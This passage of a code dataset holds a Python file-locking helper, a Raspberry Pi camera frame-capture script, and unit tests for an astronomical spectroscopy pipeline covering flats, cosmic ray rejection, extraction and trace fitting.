self.lockfile_fd.write(\"%s\" % os.getpid())\n            except portalocker.LockException as e:\n                raise LockingError(\"Cannot acquire lock on (%s): %s\" %\n                                   (self.lockfile_path, e))\n        else:\n            try:\n                fcntl.flock(self.lockfile_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)\n                self.lockfile_fd.write(\"%s\" % os.getpid())\n            except IOError as e:\n                raise LockingError(\"Cannot acquire lock on (%s): %s\" %\n                                   (self.lockfile_path, e))\n\n        if self.logger is not None:\n            self.logger.debug(\"Locking successful (%s): %s\" % (self.lock_type,\n                                                               self.lockfile_path))\n\n    def unlock(self):\n        \"\"\" Release a lock via a provided file descriptor. \"\"\"\n\n        if self.lockfile_fd is None:\n            if self.logger is not None:\n                self.logger.debug(\"Nothing to unlock\")\n            return\n\n        if has_portalocker and self.lock_type == 'portalocker':\n            try:\n                # uses fcntl.LOCK_UN on posix (in contrast with the flock()ing below)\n                portalocker.unlock(self.lockfile_fd)\n            except portalocker.LockException as e:\n                raise LockingError(\"Cannot release lock on (%s): %s\" %\n                                   (self.lockfile_path, e))\n        else:\n            try:\n                if platform.system() == \"SunOS\":  # GH issue #17\n                    fcntl.flock(self.lockfile_fd, fcntl.LOCK_UN)\n                else:\n                    fcntl.flock(self.lockfile_fd, fcntl.LOCK_UN | fcntl.LOCK_NB)\n            except IOError as e:\n                raise LockingError(\"Cannot release lock on (%s): %s\" %\n                                   (self.lockfile_path, e))\n\n        try:\n            self.lockfile_fd.close()\n            os.unlink(self.lockfile_path)\n            self.lockfile_fd = None\n        except OSError as e:\n            raise LockingError(\"Cannot unlink %s: %s\" % (self.lockfile_path, e))\n\n        if self.logger is not None:\n            self.logger.debug(\"Unlocking successful\")\n","sub_path":"mbstats/locker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"17507575","text":"from picamera import PiCamera\nfrom time import sleep\nfrom gpiozero import Button\n\ncamera = PiCamera()\ncamera.rotation = 180\nbutton = Button(17)\ncamera.start_preview()\nframe = 1\nwhile True:\n    try:\n        button.wait_for_press()\n        camera.capture('/home/pi/picamera/animation/frame%03d.jpg' % frame)\n        frame += 1\n    except KeyboardInterrupt:\n        camera.stop_preview()\n        camera.close()\n        break","sub_path":"cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"551849520","text":"from __future__ import absolute_import\n\nfrom unittest import TestCase, skip\nfrom ccdproc import CCDData\nfrom astropy.io import fits\nfrom astropy.modeling import Model\nfrom astropy.modeling import (models,\n                              fitting)\nimport astropy.units as u\nimport collections\nimport numpy as np\nimport os\nimport pandas\nimport re\nimport logging\n\nlogging.disable(logging.CRITICAL)\n\n# import all classes in core.py\nfrom ..core import (GenerateDcrParFile,\n                    NightDataContainer,\n                    NoMatchFound,\n                    NotEnoughLinesDetected,\n                    NoTargetException,\n                    ReferenceData,\n                    SaturationValues,\n                    SpectroscopicMode)\n\n\n# import of functions in core.py\nfrom ..core import (astroscrappy_lacosmic,\n                    add_wcs_keys,\n                    call_cosmic_rejection,\n                    classify_spectroscopic_data,\n                    convert_time,\n                    dcr_cosmicray_rejection,\n                    extraction,\n                    extract_fractional_pixel,\n                    extract_optimal,\n                    fractional_sum,\n                    get_best_flat,\n                    get_central_wavelength,\n                    get_slit_trim_section,\n                    get_twilight_time,\n                    identify_targets,\n                    image_overscan,\n                    image_trim,\n                    interpolate,\n                    normalize_master_flat,\n                    ra_dec_to_deg,\n                    read_fits,\n                    record_trace_information,\n                    save_extracted,\n                    search_comp_group,\n                    setup_logging,\n                    trace,\n                    trace_targets,\n                    write_fits)\n\n# class ExceptionHandling(TestCase):\n#\n#     def test_critical_error(self):\n#         self.assertRaises(CriticalError)\n#\n#\n#     def test_night_data_container(self):\n#         pass\n#\n#\n#     def test_no_match_found(self):\n#         pass\n#\n#\n#     def test_not_enough_lines_detected(self):\n#         pass\n#\n#\n#     def test_no_target_exception(self):\n#         pass\n\n\ndef test_spectroscopic_mode():\n    pass\n\n\ndef test_search_comp_group():\n    pass\n\n\ndef test_lacosmic_cosmicray_rejection():\n    pass\n\n\ndef test_classify_spectroscopic_data():\n    pass\n\n\nclass InterpolationTest(TestCase):\n\n    def test_interpolate(self):\n        initial_array = np.sin(np.arange(0, 3 * np.pi))\n        initial_length = len(initial_array)\n\n        new_x_axis, new_array = interpolate(spectrum=initial_array,\n                                            interpolation_size=100)\n\n        self.assertEqual(len(new_x_axis), len(new_array))\n        self.assertEqual(len(new_array), initial_length * 100)\n\n\nclass GenerateDcrFile(TestCase):\n\n    def setUp(self):\n        self.create = GenerateDcrParFile()\n        self.ccd = CCDData(data=np.ones((100, 100)),\n                           meta=fits.Header(),\n                           unit='adu')\n        self.ccd.header.set('INSTCONF', value='Red')\n        self.ccd.header.set('CCDSUM', value='1 1')\n\n    def test_generate_dcr_par_file(self):\n        serial, parallel = self.ccd.header['CCDSUM'].split()\n        instrument = self.ccd.header['INSTCONF']\n\n        self.assertEqual(serial, '1')\n        self.assertEqual(instrument, 'Red')\n        self.assertEqual(self.create._file_name, 'dcr.par')\n        self.assertIsInstance(self.create._df, pandas.DataFrame)\n\n        self.assertFalse(os.path.isfile(self.create._file_name))\n        self.create()\n        self.assertTrue(os.path.isfile(self.create._file_name))\n\n        self.assertRaises(AssertionError, self.create, 'Green')\n\n    def tearDown(self):\n        if os.path.isfile(self.create._file_name):\n            os.remove(self.create._file_name)\n\n\nclass MasterFlatTest(TestCase):\n\n    def setUp(self):\n        # create a master flat\n        self.master_flat = CCDData(data=np.ones((100, 100)),\n                                   meta=fits.Header(),\n                                   unit='adu')\n        self.master_flat.header.set('GRATING', value='RALC_1200-BLUE')\n        self.master_flat.header.set('SLIT', value='0.84\" long slit')\n        self.master_flat.header.set('FILTER2', value='<NO FILTER>')\n        self.master_flat.header.set('WAVMODE', value='1200 m2')\n        self.master_flat_name = 'master_flat_1200m2.fits'\n        # expected master flat to be retrieved by get_best_flat\n        self.reference_flat_name = 'master_flat_1200m2_0.84_dome.fits'\n        # location of sample flats\n        self.flat_path = 'goodman_pipeline/data/test_data/master_flat'\n        slit = re.sub('[A-Za-z\" ]',\n                      '',\n                      self.master_flat.header['SLIT'])\n        self.flat_name_base = re.sub('.fits',\n                                     '_' + slit + '*.fits',\n                                     self.master_flat_name)\n\n        # save a master flat with some random structure.\n\n        self.master_flat_name_norm = 'flat_to_normalize.fits'\n        # add a bias level\n        self.master_flat.data += 300.\n        # add noise\n        self.master_flat.data += np.random.random_sample(\n            self.master_flat.data.shape)\n\n        self.master_flat.write(os.path.join(self.flat_path,\n                                            self.master_flat_name_norm),\n                               overwrite=False)\n\n    def tearDown(self):\n        full_path = os.path.join(self.flat_path,\n                                 self.master_flat_name_norm)\n\n        self.assertTrue(os.path.isfile(full_path))\n        if os.path.isfile(full_path):\n            os.unlink(full_path)\n        self.assertFalse(os.path.isfile(full_path))\n\n        # remove normalized flat\n        norm_flat = re.sub('flat_to_', 'norm_flat_to_', full_path)\n        if os.path.isfile(norm_flat):\n            os.unlink(norm_flat)\n        self.assertFalse(os.path.isfile(norm_flat))\n\n    def test_get_best_flat(self):\n        # print(self.flat_name_base)\n\n        master_flat, master_flat_name = get_best_flat(\n            flat_name=self.flat_name_base,\n            path=self.flat_path)\n        self.assertIsInstance(master_flat, CCDData)\n        self.assertEqual(os.path.basename(master_flat_name),\n                         self.reference_flat_name)\n\n    def test_get_best_flat_fail(self):\n        # Introduce an error that will never produce a result.\n        wrong_flat_name = re.sub('1200m2', '1300m2', self.flat_name_base)\n        master_flat, master_flat_name = get_best_flat(\n            flat_name=wrong_flat_name,\n            path=self.flat_path)\n        self.assertIsNone(master_flat)\n        self.assertIsNone(master_flat_name)\n\n    def test_normalize_master_flat(self):\n        methods = ['mean', 'simple', 'full']\n        for method in methods:\n            self.assertNotAlmostEqual(self.master_flat.data.mean(), 1.)\n            normalized_flat, normalized_flat_name = normalize_master_flat(\n                master=self.master_flat,\n                name=os.path.join(self.flat_path,\n                                  self.master_flat_name_norm),\n                method=method)\n\n            self.assertAlmostEqual(normalized_flat.data.mean(), 1.,\n                                   delta=0.001)\n            self.assertEqual(normalized_flat.header['GSP_NORM'], method)\n            self.assertIn('norm_', normalized_flat_name)\n\n\nclass CentralWavelength(TestCase):\n\n    def setUp(self):\n        # 400m2\n        self.grating = '400'\n        self.grating_angle = 7.5\n        self.camera_angle = 16.1\n        self.reference_central_wavelength = 7001.54 * u.angstrom\n\n    def test_get_central_wavelength(self):\n        central_wavelength = get_central_wavelength(grating=self.grating,\n                                                    grt_ang=self.grating_angle,\n                                                    cam_ang=self.camera_angle)\n        self.assertAlmostEqual(central_wavelength.value,\n                               self.reference_central_wavelength.value,\n                               places=2)\n\n\nclass AddWCSKeywordsTest(TestCase):\n\n    def setUp(self):\n        self.test_ccd = CCDData(data=np.ones((100, 100)),\n                                meta=fits.Header(),\n                                unit='adu')\n\n    def test_add_wcs_keys(self):\n        wcs_keys = ['BANDID1',\n                    'APNUM1',\n                    'WCSDIM',\n                    'CTYPE1',\n                    'CRVAL1',\n                    'CRPIX1',\n                    'CDELT1',\n                    'CD1_1',\n                    'LTM1_1',\n                    'WAT0_001',\n                    'WAT1_001',\n                    'DC-FLAG',\n                    'DCLOG1']\n\n\n\n        self.test_ccd = add_wcs_keys(ccd=self.test_ccd)\n        for key in wcs_keys:\n            self.assertIn(key, self.test_ccd.header)\n\n    @skip\n    def test_add_wcs_keys_error(self):\n        wcs_keys = ['BANDID1',\n                    'APNUM1',\n                    'WCSDIM',\n                    'CTYPE1',\n                    'CRVAL1',\n                    'CRPIX1',\n                    'CDELT1',\n                    'CD1_1',\n                    'LTM1_1',\n                    'WAT0_001',\n                    'WAT1_001',\n                    'DC-FLAG',\n                    'DCLOG1']\n\n\nclass CosmicRayRejectionTest(TestCase):\n\n    def setUp(self):\n        self.ccd = CCDData(data=np.ones((100, 100)),\n                           meta=fits.Header(),\n                           unit='adu')\n        self.file_name = 'cr_test.fits'\n\n        self.ccd.header.set('CCDSUM', value='1 1')\n        self.ccd.header.set('OBSTYPE', value='OBJECT')\n        self.ccd.header.set('INSTCONF', value='Red')\n        self.ccd.header.set('GSP_FNAM', value=self.file_name)\n        self.ccd.header.set('GSP_COSM', value='none')\n\n        self.red_path = os.getcwd()\n        self.out_prefix = 'prefix'\n\n    @skip\n    def test_dcr_cosmicray_rejection(self):\n        pass\n\n    def test_call_cosmic_rejection_default_1x1(self):\n        prefix = 'new_'\n        initial_value = self.ccd.data[50, 50]\n        self.ccd.data[50, 50] = 50000\n\n        ccd, out_prefix = call_cosmic_rejection(ccd=self.ccd,\n                                                image_name=self.file_name,\n                                                out_prefix=self.out_prefix,\n                                                red_path=self.red_path,\n                                                dcr_par=os.getcwd(),\n                                                keep_files=True,\n                                                prefix=prefix,\n                                                method='default',\n                                                save=True)\n        self.assertAlmostEqual(initial_value, ccd.data[50, 50])\n        self.assertEqual(out_prefix, prefix + self.out_prefix)\n        self.assertEqual(ccd.header['GSP_FNAM'],\n                         prefix + self.out_prefix + self.file_name)\n        self.assertEqual(ccd.header['GSP_COSM'], 'DCR')\n\n        self.assertTrue(os.path.isfile('dcr.par'))\n        self.assertTrue(os.path.isfile('new_prefixcr_test.fits'))\n\n    def test_call_cosmic_rejection_default_2x2(self):\n        self.ccd.header.set('CCDSUM', value='2 2')\n        prefix = 'new_'\n        initial_value = self.ccd.data[50, 50]\n        self.ccd.data[50, 50] = 50000\n\n        ccd, out_prefix = call_cosmic_rejection(ccd=self.ccd,\n                                                image_name=self.file_name,\n                                                out_prefix=self.out_prefix,\n                                                red_path=self.red_path,\n                                                dcr_par=os.getcwd(),\n                                                keep_files=True,\n                                                prefix=prefix,\n                                                method='default',\n                                                save=True)\n        self.assertAlmostEqual(initial_value, ccd.data[50, 50])\n        self.assertEqual(out_prefix, prefix + self.out_prefix)\n        self.assertEqual(ccd.header['GSP_FNAM'],\n                         prefix + self.out_prefix + self.file_name)\n        self.assertEqual(ccd.header['GSP_COSM'], 'LACosmic')\n        self.assertTrue(os.path.isfile('new_prefixcr_test.fits'))\n\n    def test_call_cosmic_rejection_default_3x3(self):\n        self.ccd.header.set('CCDSUM', value='3 3')\n        prefix = 'new_'\n        initial_value = self.ccd.data[50, 50]\n        self.ccd.data[50, 50] = 50000\n\n        ccd, out_prefix = call_cosmic_rejection(ccd=self.ccd,\n                                                image_name=self.file_name,\n                                                out_prefix=self.out_prefix,\n                                                red_path=self.red_path,\n                                                dcr_par=os.getcwd(),\n                                                keep_files=True,\n                                                prefix=prefix,\n                                                method='default',\n                                                save=True)\n        self.assertAlmostEqual(initial_value, ccd.data[50, 50])\n        self.assertEqual(out_prefix, prefix + self.out_prefix)\n        self.assertEqual(ccd.header['GSP_FNAM'],\n                         prefix + self.out_prefix + self.file_name)\n        self.assertEqual(ccd.header['GSP_COSM'], 'LACosmic')\n\n        self.assertTrue(os.path.isfile('new_prefixcr_test.fits'))\n\n    def test_call_cosmic_rejection_none(self):\n        prefix = 'new_'\n        ccd, out_prefix = call_cosmic_rejection(ccd=self.ccd,\n                                                image_name=self.file_name,\n                                                out_prefix=self.out_prefix,\n                                                red_path=self.red_path,\n                                                dcr_par=os.getcwd(),\n                                                keep_files=True,\n                                                prefix=prefix,\n                                                method='none',\n                                                save=True)\n        self.assertEqual(out_prefix, self.out_prefix)\n        self.assertEqual(ccd.header['GSP_FNAM'],\n                         self.out_prefix + self.file_name)\n        self.assertEqual(ccd.header['GSP_COSM'], 'none')\n        self.assertTrue(os.path.isfile('prefixcr_test.fits'))\n\n    def test_call_cosmic_rejection_comp_lamp(self):\n        self.ccd.header.set('OBSTYPE', value='COMP')\n        prefix = 'new_'\n        ccd, out_prefix = call_cosmic_rejection(ccd=self.ccd,\n                                                image_name=self.file_name,\n                                                out_prefix=self.out_prefix,\n                                                red_path=self.red_path,\n                                                dcr_par=os.getcwd(),\n                                                keep_files=True,\n                                                prefix=prefix,\n                                                method='lacosmic',\n                                                save=True)\n        self.assertEqual(out_prefix, prefix + self.out_prefix)\n        self.assertEqual(ccd.header['GSP_FNAM'],\n                         prefix + self.out_prefix + self.file_name)\n        self.assertEqual(ccd.header['GSP_COSM'], 'none')\n\n    def test_call_cosmic_rejection_not_implemented_error(self):\n        prefix = 'new_'\n        self.assertRaises(NotImplementedError,\n                          call_cosmic_rejection,\n                          self.ccd,\n                          self.file_name,\n                          self.out_prefix,\n                          self.red_path,\n                          os.getcwd(),\n                          True,\n                          prefix,\n                          'not_implemented_method',\n                          True)\n\n    def tearDown(self):\n        files_to_delete = ['dcr.par',\n                           'goodman_log.txt',\n                           'cosmic_test.fits',\n                           'new_prefixcr_test.fits',\n                           'prefixcr_test.fits',\n                           'crmask_cr_test.fits']\n\n        for _file in files_to_delete:\n            if os.path.isfile(_file):\n                os.unlink(_file)\n\n\nclass TimeConversionTest(TestCase):\n\n    def setUp(self):\n        self.test_time_str = '2018-01-17T12:05:44.250'\n        self.test_time_sec = 1516190744.0\n\n    def test_convert_time(self):\n        self.assertEqual(convert_time(self.test_time_str), self.test_time_sec)\n\n    def test_get_twilight_time(self):\n        expected_evening_twilight = '2018-01-17T01:21:26.113'\n        expected_morning_twilight = '2018-01-17T08:24:38.919'\n        expected_sun_set_time = '2018-01-17T23:43:46.782'\n        expected_sun_rise_time = '2018-01-17T10:02:04.508'\n        evening_twilight, morning_twilight, sun_set, sun_rise\\\n            = get_twilight_time([self.test_time_str])\n\n        self.assertEqual(evening_twilight, expected_evening_twilight)\n        self.assertEqual(morning_twilight, expected_morning_twilight)\n        self.assertEqual(sun_set, expected_sun_set_time)\n        self.assertEqual(sun_rise, expected_sun_rise_time)\n\n\nclass ExtractionTest(TestCase):\n\n    def setUp(self):\n        self.fake_image = CCDData(data=np.ones((100, 100)),\n                                  meta=fits.Header(),\n                                  unit='adu')\n        self.fake_image.header.set('NAXIS', value=2)\n        self.fake_image.header.set('NAXIS1', value=100)\n        self.fake_image.header.set('NAXIS2', value=100)\n        self.fake_image.header.set('OBSTYPE', value='COMP')\n        self.fake_image.header['GSP_FNAM'] = 'fake-image.fits'\n\n        # Create model aligned with pixels - represents the trace\n        self.target_trace = models.Linear1D(slope=0, intercept=50.3)\n\n        # Calculate the STDDEV\n        self.stddev = 8.4\n\n        # Calculate how many STDDEV will be extracted - N_STDDEV\n        self.n_stddev = 2\n\n        # Calculate how far the background is from the the center.\n        self.distance = 1\n\n        self.target_profile = models.Gaussian1D(amplitude=1,\n                                                mean=50.3,\n                                                stddev=self.stddev)\n\n        self.reference_result = np.ones(100) * self.stddev * self.n_stddev\n\n    def test_fractional_extraction(self):\n        # Perform extraction\n        extracted_array, background, info = extract_fractional_pixel(\n            ccd=self.fake_image,\n            target_trace=self.target_trace,\n            target_stddev=self.stddev,\n            extraction_width=self.n_stddev,\n            background_spacing=self.distance)\n        # assert isinstance(fake_image, CCDData)\n        self.assertIsInstance(extracted_array, CCDData)\n\n        np.testing.assert_array_almost_equal(extracted_array,\n                                             self.reference_result)\n\n    def test_fractional_extraction_obstype_object(self):\n        self.fake_image.header.set('OBSTYPE', value='OBJECT')\n        # Perform extraction\n        extracted_array, background, info = extract_fractional_pixel(\n            ccd=self.fake_image,\n            target_trace=self.target_trace,\n            target_stddev=self.stddev,\n            extraction_width=self.n_stddev,\n            background_spacing=self.distance)\n        # assert isinstance(fake_image, CCDData)\n        self.assertIsInstance(extracted_array, CCDData)\n\n        np.testing.assert_array_almost_equal(extracted_array,\n                                             np.zeros(extracted_array.shape))\n\n    def test_fractional_sum(self):\n\n        fake_image = np.ones((100, 100))\n        low_limit = 50 + np.random.random()\n        high_limit = 60 + np.random.random()\n\n        frac_sum = fractional_sum(fake_image, 50, low_limit, high_limit)\n        self.assertEqual(frac_sum, high_limit - low_limit)\n\n    def test_extract_optimal(self):\n        self.assertRaises(NotImplementedError, extract_optimal)\n\n    def test_extract__optimal_not_implemented(self):\n        self.assertRaises(NotImplementedError,\n                          extraction,\n                          self.fake_image,\n                          self.target_trace,\n                          self.target_profile,\n                          'optimal')\n\n    def test_extraction(self):\n        extracted = extraction(ccd=self.fake_image,\n                               target_trace=self.target_trace,\n                               spatial_profile=self.target_profile,\n                               extraction_name='fractional')\n        self.assertIsInstance(extracted, CCDData)\n        np.testing.assert_array_almost_equal(extracted, self.reference_result)\n\n    def test_extraction_exception(self):\n        self.assertRaises(NotImplementedError, extraction, ccd=self.fake_image,\n                          target_trace=self.target_trace,\n                          spatial_profile=self.target_profile,\n                          extraction_name='optimal')\n\n\nclass SlitTrimTest(TestCase):\n    # TODO (simon): discuss with Bruno\n\n    def setUp(self):\n        # Create fake image\n        self.fake_image = CCDData(data=np.ones((100, 100)),\n                                  meta=fits.Header(),\n                                  unit='adu')\n\n        # define\n        self.slit_low_limit = 5\n        self.slit_high_limit = 95\n\n        self.reference_slit_trim = '[1:100,{:d}:{:d}]'.format(\n            self.slit_low_limit + 10 + 1,\n            self.slit_high_limit - 10)\n\n        # make a flat-like structure\n        self.fake_image.data[self.slit_low_limit:self.slit_high_limit, :] = 100\n\n    def test_get_slit_trim_section(self):\n\n        slit_trim = get_slit_trim_section(master_flat=self.fake_image)\n        # print(fake_image.data[:,5])\n        # print(slit_trim)\n        self.assertEqual(slit_trim, self.reference_slit_trim)\n\n    def test_image_trim_slit(self):\n        # # define\n        # slit_low_limit = 5\n        # slit_high_limit = 95\n        #\n        # slit_trim = '[1:100,{:d}:{:d}]'.format(slit_low_limit + 10 + 1,\n        #                                        slit_high_limit - 10)\n        self.fake_image = image_trim(ccd=self.fake_image,\n                                     trim_section=self.reference_slit_trim,\n                                     trim_type='slit')\n        self.assertIsInstance(self.fake_image, CCDData)\n        reference_size = (self.slit_high_limit - 10) - \\\n                         (self.slit_low_limit + 10)\n        self.assertEqual(self.fake_image.data.shape, (reference_size, 100))\n\n        self.assertEqual(self.fake_image.header['GSP_SLIT'],\n                         self.reference_slit_trim)\n\n\nclass RaDecConversion(TestCase):\n\n    def setUp(self):\n        self.ra = '19:09:55.026'\n        self.dec = '-68:18:01.901'\n        self.reference_ra = 287.479275\n        self.reference_dec = -68.3005281\n\n    def test_ra_dec_to_deg(self):\n        radeg, decdeg = ra_dec_to_deg(right_ascension=self.ra,\n                                      declination=self.dec)\n        self.assertAlmostEqual(radeg, self.reference_ra)\n        self.assertAlmostEqual(decdeg, self.reference_dec)\n\n\nclass ReferenceDataTest(TestCase):\n\n    def setUp(self):\n        self.rd = ReferenceData(\n            reference_dir=os.path.join(os.getcwd(),\n                                       'goodman_pipeline/data/ref_comp'))\n        self.ccd = CCDData(data=np.ones((800, 2000)),\n                           meta=fits.Header(),\n                           unit='adu')\n\n        self.columns = ['object', 'grating', 'grt_targ', 'cam_targ']\n\n        self.data_exist = [['HgArNe', 'SYZY_400', 7.5, 16.1],\n                           ['HgAr', 'SYZY_400', 7.5, 16.1]]\n\n        self.data_does_not_exist = [['HgArNe', 'SYZY_800', 7.5, 16.1],\n                                    ['HgAr', 'SYZY_800', 7.5, 16.1]]\n\n    def test_get_reference_lamp_exist(self):\n        self.ccd.header.set('OBJECT', value='HgArNe')\n        self.ccd.header.set('WAVMODE', value='400 m2')\n\n        ref_lamp = self.rd.get_reference_lamp(header=self.ccd.header)\n\n        self.assertIsInstance(ref_lamp, CCDData)\n        self.assertEqual(ref_lamp.header['OBJECT'], self.ccd.header['OBJECT'])\n        self.assertEqual(ref_lamp.header['WAVMODE'], self.ccd.header['WAVMODE'])\n\n    def test_get_reference_lamp_does_not_exist(self):\n        self.ccd.header.set('OBJECT', value='HgArCu')\n        self.ccd.header.set('WAVMODE', value='400 m5')\n\n        self.assertRaises(NotImplementedError,\n                          self.rd.get_reference_lamp,\n                          self.ccd.header)\n\n    def test_lamp_exist(self):\n        self.assertTrue(self.rd.lamp_exists(object_name='HgArNe',\n                                            grating='SYZY_400',\n                                            grt_targ=7.5,\n                                            cam_targ=16.1))\n\n        self.assertFalse(self.rd.lamp_exists(object_name='HgArCu',\n                                             grating='SYZY_400',\n                                             grt_targ=7.5,\n                                             cam_targ=16.1))\n\n    def test_check_comp_group__lamp_exists(self):\n        comp_group = pandas.DataFrame(self.data_exist,\n                                      columns=self.columns)\n\n        new_group = self.rd.check_comp_group(comp_group=comp_group)\n\n        self.assertIsInstance(new_group, pandas.DataFrame)\n        self.assertFalse(comp_group.equals(new_group))\n        self.assertEqual(len(new_group), 1)\n\n    def test_check_comp_group__lamp_does_not_exist(self):\n        comp_group = pandas.DataFrame(self.data_does_not_exist,\n                                      columns=self.columns)\n\n        new_group = self.rd.check_comp_group(comp_group=comp_group)\n\n        self.assertIsInstance(new_group, pandas.DataFrame)\n        self.assertTrue(comp_group.equals(new_group))\n\n\nclass RecordTraceInformationTest(TestCase):\n\n    def setUp(self):\n        self.ccd = CCDData(data=np.ones((800, 2000)),\n                           meta=fits.Header(),\n                           unit='adu')\n\n        self.all_keywords = ['GSP_TMOD',\n                             'GSP_TORD',\n                             'GSP_TC00',\n                             'GSP_TC01',\n                             'GSP_TC02',\n                             'GSP_TERR']\n\n        self.trace_info = collections.OrderedDict()\n\n        self.trace_info['GSP_TMOD'] = ['Polinomial1D',\n                                       'Model name used to fit trace']\n\n        self.trace_info['GSP_TORD'] = [2, 'Degree of the model used to fit '\n                                          'target trace']\n\n        self.trace_info['GSP_TC00'] = [500, 'Parameter c0']\n        self.trace_info['GSP_TC01'] = [1, 'Parameter c1']\n        self.trace_info['GSP_TC02'] = [2, 'Parameter c2']\n        self.trace_info['GSP_TERR'] = [0.5, 'RMS error of target trace']\n\n    def test_record_trace_information(self):\n        ccd = record_trace_information(ccd=self.ccd, trace_info=self.trace_info)\n        new_keys = [key for key in ccd.header.keys()]\n\n        self.assertTrue(all([key in new_keys for key in self.all_keywords]))\n        self.assertEqual(ccd.header['GSP_TMOD'], 'Polinomial1D')\n        self.assertEqual(ccd.header['GSP_TORD'], 2)\n\n\nclass SpectroscopicModeTest(TestCase):\n\n    def setUp(self):\n        self.sm = SpectroscopicMode()\n        self.ccd = CCDData(data=np.ones((800, 2000)),\n                           meta=fits.Header(),\n                           unit='adu')\n        self.ccd.header.set('GRATING', value='SYZY_400')\n        self.ccd.header.set('CAM_TARG', value='16.1')\n        self.ccd.header.set('GRT_TARG', value='7.5')\n        self.ccd.header.set('FILTER2', value='GG455')\n\n    def test__call__(self):\n        self.assertRaises(SyntaxError, self.sm)\n\n        mode_m2_header = self.sm(header=self.ccd.header)\n\n        self.assertEqual(mode_m2_header, 'm2')\n\n        mode_m2_keywords = self.sm(grating=self.ccd.header['GRATING'],\n                                   camera_targ=self.ccd.header['CAM_TARG'],\n                                   grating_targ=self.ccd.header['GRT_TARG'],\n                                   blocking_filter=self.ccd.header['FILTER2'])\n\n        self.assertEqual(mode_m2_keywords, 'm2')\n\n    def test_get_mode(self):\n        mode_m2 = self.sm.get_mode(grating='400',\n                                   camera_targ='16.1',\n                                   grating_targ='7.5',\n                                   blocking_filter='GG455')\n        self.assertEqual(mode_m2, 'm2')\n\n        mode_custom_400 = self.sm.get_mode(grating='400',\n                                           camera_targ='16.1',\n                                           grating_targ='6.6',\n                                           blocking_filter='GG455')\n\n        self.assertEqual(mode_custom_400, 'Custom_7000nm')\n\n        mode_custom_2100 = self.sm.get_mode(grating='2100',\n                                            camera_targ='16.1',\n                                            grating_targ='7.5',\n                                            blocking_filter='GG455')\n        self.assertEqual(mode_custom_2100, 'Custom_1334nm')\n\n    def test_get_cam_grt_targ_angle(self):\n\n        cam_targ, grt_targ = self.sm.get_cam_grt_targ_angle(1800, 'm10')\n        self.assertIsNone(cam_targ)\n        self.assertIsNone(grt_targ)\n\n        cam_targ, grt_targ = self.sm.get_cam_grt_targ_angle(930, 'm5')\n        self.assertEqual(cam_targ, '39.4')\n        self.assertEqual(grt_targ, '19.7')\n\n        cam_targ, grt_targ = self.sm.get_cam_grt_targ_angle(930, 'm7')\n        self.assertIsNone(cam_targ)\n        self.assertIsNone(grt_targ)\n\n\n\nclass TargetsTest(TestCase):\n\n    def setUp(self):\n        self.ccd = CCDData(data=np.ones((800, 2000)),\n                           meta=fits.Header(),\n                           unit='adu')\n\n        self.profile_1 = models.Gaussian1D(amplitude=200,\n                                           mean=100,\n                                           stddev=10).rename('Profile_1')\n        self.profile_2 = models.Gaussian1D(amplitude=200,\n                                           mean=600,\n                                           stddev=10).rename('Profile_2')\n\n        profile_sum = self.profile_1 + self.profile_2\n        for i in range(self.ccd.data.shape[1]):\n            self.ccd.data[:, i] *= profile_sum(range(self.ccd.data.shape[0]))\n\n    def tearDown(self):\n        del self.ccd\n        del self.profile_1\n        del self.profile_2\n\n    def test_identify_targets(self):\n        self.ccd.header.set('OBSTYPE',\n                            value='OBJECT',\n                            comment='Fake values')\n        self.ccd.header.set('SLIT',\n                            value='1.03\" long slit',\n                            comment='Fake slit')\n        self.ccd.header.set('CCDSUM',\n                            value='1 1',\n                            comment='Fake values')\n        targets = identify_targets(ccd=self.ccd, nfind=2, plots=False)\n        self.assertEqual(len(targets), 2)\n        for target in targets:\n            self.assertIsInstance(target, Model)\n\n    def test_trace(self):\n        trace_model = models.Polynomial1D(degree=2)\n        fitter = fitting.LevMarLSQFitter()\n        test_trace, trace_rms = trace(ccd=self.ccd,\n                                      model=self.profile_1,\n                                      trace_model=trace_model,\n                                      model_fitter=fitter,\n                                      sampling_step=5)\n        self.assertEqual(test_trace.c0.value, self.profile_1.mean.value)\n        self.assertAlmostEqual(test_trace.c1.value, 0.)\n        self.assertAlmostEqual(test_trace.c2.value, 0.)\n\n    def test_trace_targets(self):\n        targets = [self.profile_1, self.profile_2]\n        all_traces = trace_targets(ccd=self.ccd,\n                                   target_list=targets,\n                                   sampling_step=5,\n                                   pol_deg=2,\n                                   nsigmas=2,\n                                   plots=False)\n        for new_trace, profile, trace_info in all_traces:\n            self.assertEqual(new_trace.c0.value, profile.mean.value)\n            self.assertAlmostEqual(new_trace.c1.value, 0)\n            self.assertAlmostEqual(new_trace.c2.value, 0)\n\n\nclass FitsFileIOAndOps(TestCase):\n\n    def setUp(self):\n        self.fake_image = CCDData(data=np.ones((100, 100)),\n                                  meta=fits.Header(),\n                                  unit='adu')\n        self.fake_image.header.set('CCDSUM',\n                                   value='1 1',\n                                   comment='Fake values')\n\n        self.file_name = 'sample_file.fits'\n        self.target_non_zero = 4\n        self.current_directory = os.getcwd()\n        self.full_path = os.path.join(self.current_directory, self.file_name)\n        self.parent_file = 'parent_file.fits'\n        self.fake_image.write(self.full_path, overwrite=False)\n\n    def test_write_fits(self):\n        self.assertTrue(os.path.isfile(self.full_path))\n        os.remove(self.full_path)\n        write_fits(ccd=self.fake_image,\n                   full_path=self.full_path,\n                   parent_file=self.parent_file,\n                   overwrite=False)\n        self.assertTrue(os.path.isfile(self.full_path))\n\n    def test_read_fits(self):\n        self.recovered_fake_image = read_fits(self.full_path)\n        self.assertIsInstance(self.recovered_fake_image, CCDData)\n\n    def test_image_overscan(self):\n        data_value = 100.\n        overscan_value = 0.1\n        # alter overscan region to a lower number\n        self.fake_image.data *= data_value\n        self.fake_image.data[:, 0:5] = overscan_value\n\n        overscan_region = '[1:6,:]'\n        self.assertEqual(self.fake_image.data[:, 6:99].mean(), data_value)\n        self.assertEqual(self.fake_image.data[:, 0:5].mean(), overscan_value)\n        self.fake_image = image_overscan(ccd=self.fake_image,\n                                         overscan_region=overscan_region)\n\n        self.assertEqual(self.fake_image.data[:, 6:99].mean(),\n                         data_value - overscan_value)\n        self.assertEqual(self.fake_image.header['GSP_OVER'], 